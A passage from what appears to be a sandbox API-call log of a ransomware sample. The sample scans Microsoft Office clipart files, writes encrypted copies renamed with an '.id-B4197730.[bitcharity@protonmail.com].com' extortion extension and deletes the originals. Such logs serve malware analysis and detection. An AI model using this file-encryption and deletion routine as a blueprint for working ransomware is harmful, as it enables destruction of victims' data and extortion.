(lpString=".dbf") returned 4 [0298.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.393] lstrlenW (lpString=".1cd") returned 4 [0298.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.393] lstrlenW (lpString=".jpg") returned 4 [0298.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.393] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.393] lstrlenW (lpString="FD01084_.WMF") returned 12 [0298.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.393] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2412) returned 1 [0298.393] CloseHandle (hObject=0x10b8) returned 1 [0298.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220 [0298.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.394] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.394] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0298.394] GetLastError () returned 0x0 [0298.394] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x96c, lpOverlapped=0x0) returned 1 [0298.420] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x970, lpOverlapped=0x0) returned 1 [0298.421] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.421] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.421] SetEndOfFile (hFile=0x10b0) returned 1 [0298.421] CloseHandle (hObject=0x10b0) returned 1 [0298.421] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.421] SetEndOfFile (hFile=0x10b8) returned 1 [0298.422] CloseHandle (hObject=0x10b8) returned 1 [0298.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0298.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.422] lstrlenW (lpString=".doc") returned 4 [0298.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.422] lstrlenW (lpString=".docx") returned 5 [0298.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.422] lstrlenW (lpString=".pdf") returned 4 [0298.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.423] lstrlenW (lpString=".xls") returned 4 [0298.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.423] lstrlenW (lpString=".xlsx") returned 5 [0298.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.423] lstrlenW (lpString=".ppt") returned 4 [0298.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.423] lstrlenW (lpString=".zip") returned 4 [0298.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.423] lstrlenW (lpString=".rar") returned 4 [0298.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.423] lstrlenW (lpString=".bz2") returned 4 [0298.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.423] lstrlenW (lpString=".7z") returned 3 [0298.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.423] lstrlenW (lpString=".dbf") returned 4 [0298.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.423] lstrlenW (lpString=".1cd") returned 4 [0298.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.423] lstrlenW (lpString=".jpg") returned 4 [0298.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.423] lstrlenW (lpString=".doc") returned 4 [0298.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.423] lstrlenW (lpString=".docx") returned 5 [0298.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.423] lstrlenW (lpString=".pdf") returned 4 [0298.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.423] lstrlenW (lpString=".xls") returned 4 [0298.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.423] lstrlenW (lpString=".xlsx") returned 5 [0298.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.424] lstrlenW (lpString=".ppt") returned 4 [0298.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.424] lstrlenW (lpString=".zip") returned 4 [0298.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.424] lstrlenW (lpString=".rar") returned 4 [0298.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.424] lstrlenW (lpString=".bz2") returned 4 [0298.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.424] lstrlenW (lpString=".7z") returned 3 [0298.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.424] lstrlenW (lpString=".dbf") returned 4 [0298.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.424] lstrlenW (lpString=".1cd") returned 4 [0298.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0298.424] lstrlenW (lpString=".jpg") returned 4 [0298.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.424] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.424] lstrlenW (lpString="FD01193_.WMF") returned 12 [0298.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.425] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=1160) returned 1 [0298.425] CloseHandle (hObject=0x10b8) returned 1 [0298.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220 [0298.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.425] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.425] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0298.426] GetLastError () returned 0x0 [0298.426] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x488, lpOverlapped=0x0) returned 1 [0298.528] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x490, lpOverlapped=0x0) returned 1 [0298.529] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.529] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.529] SetEndOfFile (hFile=0x10b0) returned 1 [0298.529] CloseHandle (hObject=0x10b0) returned 1 [0298.529] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.529] SetEndOfFile (hFile=0x10b8) returned 1 [0298.530] CloseHandle (hObject=0x10b8) returned 1 [0298.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0298.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.628] lstrlenW (lpString=".doc") returned 4 [0298.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString=".docx") returned 5 [0298.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.628] lstrlenW (lpString=".pdf") returned 4 [0298.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString=".xls") returned 4 [0298.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.628] lstrlenW (lpString=".xlsx") returned 5 [0298.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.628] lstrlenW (lpString=".ppt") returned 4 [0298.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.628] lstrlenW (lpString=".zip") returned 4 [0298.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.628] lstrlenW (lpString=".rar") returned 4 [0298.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString=".bz2") returned 4 [0298.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString=".7z") returned 3 [0298.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.628] lstrlenW (lpString=".dbf") returned 4 [0298.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.628] lstrlenW (lpString=".1cd") returned 4 [0298.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.629] lstrlenW (lpString=".jpg") returned 4 [0298.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.629] lstrlenW (lpString=".doc") returned 4 [0298.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.629] lstrlenW (lpString=".docx") returned 5 [0298.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.629] lstrlenW (lpString=".pdf") returned 4 [0298.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.629] lstrlenW (lpString=".xls") returned 4 [0298.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.629] lstrlenW (lpString=".xlsx") returned 5 [0298.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.629] lstrlenW (lpString=".ppt") returned 4 [0298.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.629] lstrlenW (lpString=".zip") returned 4 [0298.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.629] lstrlenW (lpString=".rar") returned 4 [0298.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.629] lstrlenW (lpString=".bz2") returned 4 [0298.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.629] lstrlenW (lpString=".7z") returned 3 [0298.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.630] lstrlenW (lpString=".dbf") returned 4 [0298.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.630] lstrlenW (lpString=".1cd") returned 4 [0298.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0298.630] lstrlenW (lpString=".jpg") returned 4 [0298.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.630] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.630] lstrlenW (lpString="FD01660_.WMF") returned 12 [0298.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.631] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=12958) returned 1 [0298.631] CloseHandle (hObject=0x10bc) returned 1 [0298.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220 [0298.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.631] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.631] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0298.632] GetLastError () returned 0x0 [0298.632] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x329e, lpOverlapped=0x0) returned 1 [0298.722] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x32a0, lpOverlapped=0x0) returned 1 [0298.723] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.723] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.723] SetEndOfFile (hFile=0x10dc) returned 1 [0298.723] CloseHandle (hObject=0x10dc) returned 1 [0298.723] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.723] SetEndOfFile (hFile=0x10bc) returned 1 [0298.724] CloseHandle (hObject=0x10bc) returned 1 [0298.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0298.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.725] lstrlenW (lpString=".doc") returned 4 [0298.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.725] lstrlenW (lpString=".docx") returned 5 [0298.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.725] lstrlenW (lpString=".pdf") returned 4 [0298.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.725] lstrlenW (lpString=".xls") returned 4 [0298.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.725] lstrlenW (lpString=".xlsx") returned 5 [0298.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.725] lstrlenW (lpString=".ppt") returned 4 [0298.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.725] lstrlenW (lpString=".zip") returned 4 [0298.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.725] lstrlenW (lpString=".rar") returned 4 [0298.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.725] lstrlenW (lpString=".bz2") returned 4 [0298.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.725] lstrlenW (lpString=".7z") returned 3 [0298.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.725] lstrlenW (lpString=".dbf") returned 4 [0298.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.725] lstrlenW (lpString=".1cd") returned 4 [0298.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.725] lstrlenW (lpString=".jpg") returned 4 [0298.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.726] lstrlenW (lpString=".doc") returned 4 [0298.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.726] lstrlenW (lpString=".docx") returned 5 [0298.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.726] lstrlenW (lpString=".pdf") returned 4 [0298.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.726] lstrlenW (lpString=".xls") returned 4 [0298.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.726] lstrlenW (lpString=".xlsx") returned 5 [0298.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.726] lstrlenW (lpString=".ppt") returned 4 [0298.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.726] lstrlenW (lpString=".zip") returned 4 [0298.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.726] lstrlenW (lpString=".rar") returned 4 [0298.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.726] lstrlenW (lpString=".bz2") returned 4 [0298.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.726] lstrlenW (lpString=".7z") returned 3 [0298.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.726] lstrlenW (lpString=".dbf") returned 4 [0298.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.726] lstrlenW (lpString=".1cd") returned 4 